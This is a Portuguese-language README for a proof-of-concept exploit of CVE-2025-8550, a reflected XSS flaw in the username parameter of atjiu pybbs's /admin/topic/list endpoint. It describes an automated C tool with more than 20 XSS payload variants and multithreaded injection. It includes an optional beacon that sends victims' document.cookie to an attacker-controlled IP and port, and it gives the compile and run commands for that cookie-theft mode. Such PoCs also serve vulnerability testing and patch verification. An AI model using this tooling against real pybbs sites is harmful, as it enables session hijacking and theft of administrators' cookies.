CVE-2025-8550 – Exploit XSS atjiu pybbs

Descrição

Este repositório contém um exploit automatizado de Prova de Conceito (PoC) para a CVE-2025-8550, uma vulnerabilidade de Cross‑Site Scripting (XSS) refletido no atjiu pybbs (≤ v6.0.0). Ele tem como alvo o parâmetro username do endpoint /admin/topic/list, que não possui sanitização adequada de entrada.

Recursos

• Mais de 20 variações de payload: script, SVG, iframe, object, manipuladores onerror e mais.

• Codificação automática de URL: garante injeção segura através do curl_easy_escape do libcurl.

• Exfiltração de Cookies (Opcional): injeção de beacon para enviar document.cookie para um servidor controlado pelo atacante.

• Multithreading: utiliza pthreads para paralelizar tentativas e acelerar os testes.

• CLI personalizável: alimentado por argparse, suporta especificar:

  • URL do alvo (-u / --url)
  • Arquivo de cookies para requisições autenticadas (-c / --cookies)
  • Ativar payload de cookie (-k / --cokpay)
  • IP/porta do servidor atacante (-i / --ip, -p / --port)
  • Log detalhado (-v / --verbose)

Compilação e Uso

# Compile the exploit binary
gcc exploit.c argparse.c -o CVE-2025-8550 -lcurl -lpthread 

# Run against target
./CVE-2025-8550 -u http://<TARGET> -v [-c [COOKIE_FILE]]

#COOKIE SEND :
./CVE-2025-8550 -u http://TARGET -i <YOUR_IP> -p <YOUR_PORT> -v [VERBOSE_MODE] -k [PAYLOAD_COOKIE]

• Substitua http://<TARGET> pela sua instância do atjiu pybbs.
• Use -k para ativar o beacon de roubo de cookies (requer -i e -p).
• Omita -c se não forem necessários cookies de autenticação.

Referências:

• Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-8550

Licença:

Licença MIT